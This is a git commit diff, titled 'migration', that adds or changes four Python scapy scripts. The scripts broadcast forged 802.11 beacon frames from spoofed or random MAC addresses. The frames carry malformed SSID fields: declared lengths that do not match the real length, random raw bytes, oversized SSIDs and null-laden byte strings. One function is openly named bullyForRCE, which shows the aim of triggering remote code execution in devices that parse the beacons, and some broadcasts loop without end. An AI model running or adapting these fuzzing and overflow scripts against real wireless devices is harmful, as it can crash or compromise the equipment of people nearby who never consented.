migration
This commit is contained in:
Regular → Executable
+112
-112
@@ -1,113 +1,113 @@
|
||||
from scapy.all import *
|
||||
import urllib.parse
|
||||
#from random import randbytes
|
||||
import random
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def sendProbe(SSID, repeat=3, interval=0.100):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100):
|
||||
for i in range(numOfBeacons):
|
||||
SSID = randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
|
||||
sendProbe(SSID, repeat, interval)
|
||||
|
||||
def sendProbeFuzz(repeat=1, interval=0.150):
|
||||
randMAC = '6e:07:9e:96:2b:4e'
|
||||
# randMAC = RandMAC()
|
||||
randLen = RandNum(0, 255)
|
||||
randSSIDLen = random.randint(0,255)
|
||||
randSSIDBytes = random.randbytes(randSSIDLen)
|
||||
urlEncoded = urllib.parse.quote(randSSIDBytes)
|
||||
|
||||
dot11 = Dot11(type=0,
|
||||
subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff', # dst set to broadcast
|
||||
addr2=randMAC, # random source
|
||||
addr3=randMAC) # random bssid
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=RawVal(randSSIDBytes),
|
||||
len=RawVal(randLen))
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"src={randMAC}, dst=ff:ff:ff:ff:ff:ff, BSSID={randMAC}\n\tSSID Set Length: {randLen}\n\tActual SSID Length: {randSSIDLen}\n\tSSID: {urlEncoded}")
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendFuzzBeacons(numOfBeacons=200,
|
||||
repeat=1,
|
||||
interval=0.150):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
print(f"\n{i} of {numOfBeacons}")
|
||||
sendProbeFuzz()
|
||||
|
||||
def sendRandBytesBeaconsRaw(
|
||||
numOfBeacons=200,
|
||||
lenOfSSIDs=256,
|
||||
listedLen=255,
|
||||
repeat=1,
|
||||
interval=0.2):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
SSID = random.randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
|
||||
sendProbeRaw(SSID, repeat, interval, listedLen)
|
||||
|
||||
|
||||
|
||||
#sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
|
||||
#sendRandBytesBeacons(100, 20, 5, 0.1)
|
||||
|
||||
|
||||
def fullFuzz(
|
||||
numOfBeacons=200,
|
||||
repeat=3,
|
||||
interval=0.150):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
realLenSSID = random.randint(0,255)
|
||||
SSID = random.randbytes(realLenSSID)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
fakeLenSSID = random.randint(0,255)
|
||||
senderMAC = RandMAC()
|
||||
|
||||
dot11 = Dot11(type=0, subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=senderMAC,
|
||||
addr3=senderMAC)
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=SSID,
|
||||
len=fakeLenSSID)
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n")
|
||||
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
from scapy.all import *
|
||||
import urllib.parse
|
||||
#from random import randbytes
|
||||
import random
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def sendProbe(SSID, repeat=3, interval=0.100):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100):
|
||||
for i in range(numOfBeacons):
|
||||
SSID = randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
|
||||
sendProbe(SSID, repeat, interval)
|
||||
|
||||
def sendProbeFuzz(repeat=1, interval=0.150):
|
||||
randMAC = '6e:07:9e:96:2b:4e'
|
||||
# randMAC = RandMAC()
|
||||
randLen = RandNum(0, 255)
|
||||
randSSIDLen = random.randint(0,255)
|
||||
randSSIDBytes = random.randbytes(randSSIDLen)
|
||||
urlEncoded = urllib.parse.quote(randSSIDBytes)
|
||||
|
||||
dot11 = Dot11(type=0,
|
||||
subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff', # dst set to broadcast
|
||||
addr2=randMAC, # random source
|
||||
addr3=randMAC) # random bssid
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=RawVal(randSSIDBytes),
|
||||
len=RawVal(randLen))
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"src={randMAC}, dst=ff:ff:ff:ff:ff:ff, BSSID={randMAC}\n\tSSID Set Length: {randLen}\n\tActual SSID Length: {randSSIDLen}\n\tSSID: {urlEncoded}")
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendFuzzBeacons(numOfBeacons=200,
|
||||
repeat=1,
|
||||
interval=0.150):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
print(f"\n{i} of {numOfBeacons}")
|
||||
sendProbeFuzz()
|
||||
|
||||
def sendRandBytesBeaconsRaw(
|
||||
numOfBeacons=200,
|
||||
lenOfSSIDs=256,
|
||||
listedLen=255,
|
||||
repeat=1,
|
||||
interval=0.2):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
SSID = random.randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
|
||||
sendProbeRaw(SSID, repeat, interval, listedLen)
|
||||
|
||||
|
||||
|
||||
#sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
|
||||
#sendRandBytesBeacons(100, 20, 5, 0.1)
|
||||
|
||||
|
||||
def fullFuzz(
|
||||
numOfBeacons=200,
|
||||
repeat=3,
|
||||
interval=0.150):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
realLenSSID = random.randint(0,255)
|
||||
SSID = random.randbytes(realLenSSID)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
fakeLenSSID = random.randint(0,255)
|
||||
senderMAC = RandMAC()
|
||||
|
||||
dot11 = Dot11(type=0, subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=senderMAC,
|
||||
addr3=senderMAC)
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=SSID,
|
||||
len=fakeLenSSID)
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n")
|
||||
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
fullFuzz()
|
||||
Regular → Executable
+130
-130
@@ -1,130 +1,130 @@
|
||||
from scapy.all import *
|
||||
import urllib.parse
|
||||
from random import randbytes
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def sendProbe(SSID,
|
||||
repeat=3,
|
||||
interval=0.100):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendProbeRaw(SSID='F',
|
||||
repeat=3,
|
||||
interval=0.150,
|
||||
listedLen=512,
|
||||
lenOverride=True):
|
||||
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
if lenOverride:
|
||||
essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen))
|
||||
else:
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendRandBytesBeacons(numOfBeacons=200,
|
||||
lenOfSSIDs=20,
|
||||
repeat=3,
|
||||
interval=0.100):
|
||||
for i in range(numOfBeacons):
|
||||
SSID = randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
|
||||
sendProbe(SSID, repeat, interval)
|
||||
|
||||
def sendRandBytesBeaconsRaw(
|
||||
SSID='I-am-your-pony-waifu',
|
||||
numOfBeacons=200,
|
||||
lenOfSSIDs=255,
|
||||
listedLen=255,
|
||||
lenOverridei=False,
|
||||
repeat=1,
|
||||
interval=0.2):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
#SSID = randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
|
||||
sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei)
|
||||
|
||||
def overloadParamBeacon(max=10000,
|
||||
repeat=3,
|
||||
chari = "X",
|
||||
interval=0.2,
|
||||
listedLen=1):
|
||||
|
||||
for i in range(max):
|
||||
num = i+1000
|
||||
SSIDI = chari*num
|
||||
SSID = f"{num}{SSIDI}"
|
||||
|
||||
dot11 = Dot11(type=0,
|
||||
subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender,
|
||||
addr3=sender)
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=RawVal(SSID),
|
||||
len=listedLen)
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"\nSending {num}{chari}*{num} as SSID With Length Of {listedLen}")
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
#overloadParamBeacon()
|
||||
|
||||
|
||||
|
||||
#$sendRandBytesBeaconsRaw(
|
||||
# SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU",
|
||||
# numOfBeacons=200,
|
||||
# lenOfSSIDs=2,
|
||||
# listedLen=1,
|
||||
# lenOverridei=True,
|
||||
# repeat=3,
|
||||
# interval=0.1)
|
||||
|
||||
def bullyForRCE(max=10000,
|
||||
repeat=3,
|
||||
chari = "\xff",
|
||||
interval=0.2,
|
||||
listedLen=255):
|
||||
|
||||
for i in range(max):
|
||||
chars = chari*i
|
||||
#SSID = f"n-{i}-YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU{chars}\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
|
||||
SSID = f"n{chars}"
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
|
||||
dot11 = Dot11(type=0,
|
||||
subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender,
|
||||
addr3=sender)
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=RawVal(SSID),
|
||||
len=listedLen)
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}")
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
sendProbeRaw(repeat=300)
|
||||
#bullyForRCE()
|
||||
#sendRandBytesBeacons(100, 20, 5, 0.1)
|
||||
from scapy.all import *
|
||||
import urllib.parse
|
||||
from random import randbytes
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def sendProbe(SSID,
|
||||
repeat=3,
|
||||
interval=0.100):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendProbeRaw(SSID='F',
|
||||
repeat=3,
|
||||
interval=0.150,
|
||||
listedLen=512,
|
||||
lenOverride=True):
|
||||
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
if lenOverride:
|
||||
essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen))
|
||||
else:
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
def sendRandBytesBeacons(numOfBeacons=200,
|
||||
lenOfSSIDs=20,
|
||||
repeat=3,
|
||||
interval=0.100):
|
||||
for i in range(numOfBeacons):
|
||||
SSID = randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
|
||||
sendProbe(SSID, repeat, interval)
|
||||
|
||||
def sendRandBytesBeaconsRaw(
|
||||
SSID='I-am-your-pony-waifu',
|
||||
numOfBeacons=200,
|
||||
lenOfSSIDs=255,
|
||||
listedLen=255,
|
||||
lenOverridei=False,
|
||||
repeat=1,
|
||||
interval=0.2):
|
||||
|
||||
for i in range(numOfBeacons):
|
||||
#SSID = randbytes(lenOfSSIDs)
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
|
||||
sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei)
|
||||
|
||||
def overloadParamBeacon(max=10000,
|
||||
repeat=3,
|
||||
chari = "X",
|
||||
interval=0.2,
|
||||
listedLen=1):
|
||||
|
||||
for i in range(max):
|
||||
num = i+1000
|
||||
SSIDI = chari*num
|
||||
SSID = f"{num}{SSIDI}"
|
||||
|
||||
dot11 = Dot11(type=0,
|
||||
subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender,
|
||||
addr3=sender)
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=RawVal(SSID),
|
||||
len=listedLen)
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"\nSending {num}{chari}*{num} as SSID With Length Of {listedLen}")
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
#overloadParamBeacon()
|
||||
|
||||
|
||||
|
||||
#$sendRandBytesBeaconsRaw(
|
||||
# SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU",
|
||||
# numOfBeacons=200,
|
||||
# lenOfSSIDs=2,
|
||||
# listedLen=1,
|
||||
# lenOverridei=True,
|
||||
# repeat=3,
|
||||
# interval=0.1)
|
||||
|
||||
def bullyForRCE(max=10000,
|
||||
repeat=3,
|
||||
chari = "\xff",
|
||||
interval=0.2,
|
||||
listedLen=255):
|
||||
|
||||
for i in range(max):
|
||||
chars = chari*i
|
||||
#SSID = f"n-{i}-YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU{chars}\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
|
||||
SSID = f"n{chars}"
|
||||
urlEncoded = urllib.parse.quote(SSID)
|
||||
|
||||
dot11 = Dot11(type=0,
|
||||
subtype=8,
|
||||
addr1='ff:ff:ff:ff:ff:ff',
|
||||
addr2=sender,
|
||||
addr3=sender)
|
||||
|
||||
beacon = Dot11Beacon()
|
||||
|
||||
essid = Dot11Elt(ID='SSID',
|
||||
info=RawVal(SSID),
|
||||
len=listedLen)
|
||||
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
|
||||
print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}")
|
||||
sendp(frame, iface=iface, inter=interval, count=repeat)
|
||||
|
||||
sendProbeRaw(repeat=300)
|
||||
#bullyForRCE()
|
||||
#sendRandBytesBeacons(100, 20, 5, 0.1)
|
||||
|
||||
Regular → Executable
+30
-30
@@ -1,30 +1,30 @@
|
||||
from scapy.all import *
|
||||
|
||||
# https://yasoob.me/2018/09/08/sending-sniffing-wlan-beacon-frames-using-scapy/
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'c2:13:37:c2:13:37'
|
||||
|
||||
def beacon_raw(SSID, length=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=0.250, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
def beacon_normie(SSID):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
print(SSID)
|
||||
sendp(frame, iface=iface, inter=0.100, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
#longgg = "\xFF"*800
|
||||
#longggg = f"\x00{longgg}\x00"
|
||||
#beacon_raw(longggg)
|
||||
#SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU\x0a\x00\xc6\x54\x00"
|
||||
SSID = b"YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU\x0a\x00\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
|
||||
beacon_raw(SSID)
|
||||
from scapy.all import *
|
||||
|
||||
# https://yasoob.me/2018/09/08/sending-sniffing-wlan-beacon-frames-using-scapy/
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'c2:13:37:c2:13:37'
|
||||
|
||||
def beacon_raw(SSID, length=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=0.250, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
def beacon_normie(SSID):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
print(SSID)
|
||||
sendp(frame, iface=iface, inter=0.100, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
#longgg = "\xFF"*800
|
||||
#longggg = f"\x00{longgg}\x00"
|
||||
#beacon_raw(longggg)
|
||||
#SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU\x0a\x00\xc6\x54\x00"
|
||||
SSID = b"YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU\x0a\x00\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
|
||||
beacon_raw(SSID)
|
||||
|
||||
Regular → Executable
+25
-25
@@ -1,25 +1,25 @@
|
||||
from scapy.all import *
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def beacon_raw(SSID, length=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=0.250, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
def beacon_normie(SSID):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=0.250, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
longgg = "\xFF"*800
|
||||
longggg = f"\x00{longgg}\x00"
|
||||
#beacon_raw(longggg)
|
||||
beacon_normie(b"\xFF\x00\xFF\x00\xFF\x00\xFF\x00\xFF\x00")
|
||||
from scapy.all import *
|
||||
|
||||
iface = 'wlan1'
|
||||
# sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def beacon_raw(SSID, length=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=0.250, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
def beacon_normie(SSID):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
beacon = Dot11Beacon()
|
||||
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
||||
frame = RadioTap()/dot11/beacon/essid
|
||||
sendp(frame, iface=iface, inter=0.250, loop=1)
|
||||
# sendp(frame, iface=iface, inter=0.100, count=256)
|
||||
|
||||
longgg = "\xFF"*800
|
||||
longggg = f"\x00{longgg}\x00"
|
||||
#beacon_raw(longggg)
|
||||
beacon_normie(b"\xFF\x00\xFF\x00\xFF\x00\xFF\x00\xFF\x00")
|
||||
|
||||
Reference in New Issue
Block a user